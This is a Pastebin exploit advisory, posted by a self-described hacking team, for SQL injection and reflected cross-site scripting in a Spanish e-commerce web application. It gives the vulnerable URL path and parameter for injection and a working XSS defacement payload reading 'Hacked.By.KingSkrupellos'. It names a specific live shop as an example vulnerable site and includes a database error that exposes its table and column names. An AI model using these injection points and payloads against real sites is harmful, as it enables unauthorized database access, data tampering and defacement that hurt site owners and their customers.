Advertisement
KingSkrupellos

Diseno y Desarrollo Servicios para Empresarios XSS SQL Inj

Oct 10th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Diseno y Desarrollo Servicios para Empresarios XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 11/10/2019
  7. # Vendor Homepage : serviciosparaempresarios.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. Diseno y Desarrollo Servicios para Empresarios is prone to an SQL-injection
  24. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  25. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  26. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. Reflected XSS (or Non-Persistent) :
  33. ***************************************
  34. The server reads data directly from the HTTP request and reflects it back in the HTTP response.
  35. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content
  36. to a vulnerable web application, which is then reflected back to the victim and executed by the
  37. web browser. The most common mechanism for delivering malicious content is to include
  38. it as a parameter in a URL that is posted publicly or e-mailed directly to the victim.
  39. URLs constructed in this manner constitute the core of many phishing schemes, whereby
  40. an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects
  41. the attacker's content back to the victim,the content is executed by the victim's browser.
  42.  
  43. ###################################################################
  44.  
  45. # SQL Injection Exploit :
  46. **********************
  47. /tienda/adicionar.tamano.php?idproducto=[ID-NUMBER]&sel_colores=[ID-NUMBER]&sel_tallas=[ID-NUMBER]&talla_valor=[SQL Injection]
  48.  
  49. # Cross Site Scripting XSS Exploit :
  50. ********************************
  51. /tienda/adicionar.tamano.php?idproducto=1%27&sel_colores=32&sel_tallas=22&talla_valor=
  52. 1%27<marquee><font%20color=lime%20size=32>Hacked.By.KingSkrupellos</font></marquee>
  53.  
  54. ###################################################################
  55.  
  56. # Example Vulnerable Sites :
  57. *************************
  58. [+] bikehouse.com.co/tienda/adicionar.tamano.php?idproducto=1%27&sel_colores=32&sel_tallas=22&talla_valor=1%27
  59.  
  60. ###################################################################
  61.  
  62. # Example SQL Database Error :
  63. ****************************
  64. (mysql): select b.dsprecio1,b.dsprecio2,b.dsprecio3,b.dsprecio4,b.dsprecio5,a.dsflete,
  65. a.iva,a.idtipo,b.dsunidad from ecommerce_tblproductos a ,ecommerce_tbltamaniosxtblproductos
  66. b where a.id=1' and b.idorigen=a.id and b.idcolor=32 and b.iddestino=22
  67. 1064: You have an error in your SQL syntax; check the manual that corresponds to your
  68. MariaDB server version for the right syntax to use near '' and b.idorigen=a.id and
  69. b.idcolor=32 and b.iddestino=22' at line 1
  70.  
  71. ###################################################################
  72.  
  73. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  74.  
  75. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement